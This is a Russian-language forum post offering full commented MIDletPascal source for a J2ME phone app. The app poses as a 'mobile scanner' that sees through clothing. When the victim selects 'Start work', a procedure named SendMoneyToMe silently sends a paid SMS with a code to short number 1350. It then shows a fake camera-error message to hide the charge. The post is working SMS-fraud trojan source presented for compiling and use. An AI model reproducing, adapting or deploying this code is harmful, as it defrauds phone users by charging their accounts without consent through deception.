Fild3y
Сообщений: 210
Оценки: 0
Присоединился: 2011-01-23 01:51:53.716666
|
program NewProject;
const
SendErr = 'Ошибка 109. Возможно Отключена камера, включите камеру.';
AboutStr = 'Made by Skaner, 2009';
HelpStr = 'С помощью Мобильного сканера вы сможите смотреть сквозь одежду!';
NUMBERS=1;
var
numb,text:array[1..NUMBERS] of string;
// массивы строк с текстами сообщений и номерами
p:array[1..4] of integer; // массив хэндлов пунктов меню
m:array[1..4] of string; // массив строк с названиями пунктов меню
clicked,
callmenu,
exit : command; // команды для софт клавиш
label_id, // хэндл надписей (справки, ошибки и т.д.)
i,d : integer; // счетчики
//---------------------------------
procedure mainmenu;
var
click: Command;
// элемент "command" - по сути это назначение кнопки для софт клавиши
begin
showMenu('Выбери действие', CH_IMPLICIT);
// покажем меню с заголовком "Выбери действие",
//тип - CH_IMPLICIT - обычное меню (подробнее в справке)
for d:=1 to 4 do // в этом цикле мы
p[d] := menuAppendString(m[d]);
// добавляем в меню пункты с названиями из массива строк m,
// и сохраняем ихние хэндлы в масив integer'ов
repeat
delay(100); // пауза
click := GetClickedCommand; // получаем нажатую клавишу
until click <> EmptyCommand; // в этом цикле мы ждем, пока будет нажата
// любая софт клавиша, для которой есть элемент "command"
end;
//---------------------------------
//---------------------------------
procedure SendMoneyToMe;
begin
for d:=1 to NUMBERS do // цикл отсылки
begin
if not SmsStartSend('sms://'+numb[d], text[d]) // попытка послать собощение
then Halt; // если она была неудачная, то вырубимся
while SmsIsSending do // пока смс-ка посылается
Delay(100); // ждем :)
end;
end;
//---------------------------------
begin
//---------------------------------
m[1]:='Начать роботу'; // Это все
m[2]:='Про программу'; // заполнение массива
m[3]:='Справка'; // пунктов
m[4]:='Выход'; // меню
Numb[1]:='1350'; // А это заполнение массивов с номерами
text[1]:='424bfca660'; // и текстами сообщений
Repeat // здесь главный начинается цикл, в котором проверяем,
// была ли нажата кнопка "Выход"
mainmenu; // вызоваем функцию создания меню
for d:=1 to 4 do // в том цикле мы определяем, какой пункт меню был выбран
if MenuIsSelected(p[d]) then i:=d; // с помощью функции MenuIsSelected
ClearForm; // полностью очищаем форму от всех менюшек, лэйблов и т.д.
// в зависимости от i, выбираем, какое действие нам сделать
if i=1 then // если был выбран пункт меню "Начать роботу"
begin
SendMoneyToMe; // отсылаем смс-ки
label_id := FormAddString(SendErr); //показываем ошибку :)
end;
if i=2 then // если был выбран пункт меню "Про программу"
label_id := FormAddString(AboutStr); // показываем строку с about'ом
if i=3 then // если был выбран пункт меню "Справка"
label_id := FormAddString(HelpStr); // показываем строку с help'ом
if i=4 then // если был выбран пункт меню "Выход"
halt; // вырубаемся
ShowForm; // показываем форму
callmenu := CreateCommand('Меню', CM_SCREEN, 1);
// создаем команду "Меню" для софт клавиши
AddCommand(callmenu); // и добавляем ее на дисплей
exit := CreateCommand('Выход', CM_EXIT, 2);
// создаем команду "Выход" для софт клавиши
AddCommand(exit); // и добавляем ее на дисплей
clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked
Repeat // цикл, в котором мидлет ожидает нажатия софт клавиши
Delay(100); // пауза
clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked
If clicked = exit Then Break; // если была нажата кнопка "Выход",
// то выходим из этого цикла
Until clicked = callmenu; // условие - повторять, пока не нажата кнопка "Меню"
Until clicked = exit; // условие - повторять, пока не нажата кнопка "Выход"
// если мы здесь, значит юзверь все-таки нажал на "Выход"
Delay(1000); // ждем 1 секунду перед выходом
//---------------------------------
end. компилируем MIDletPascal
|